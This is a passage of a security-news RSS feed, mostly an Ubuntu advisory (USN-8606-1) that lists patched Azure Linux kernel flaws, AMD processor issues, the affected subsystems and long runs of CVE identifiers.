CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
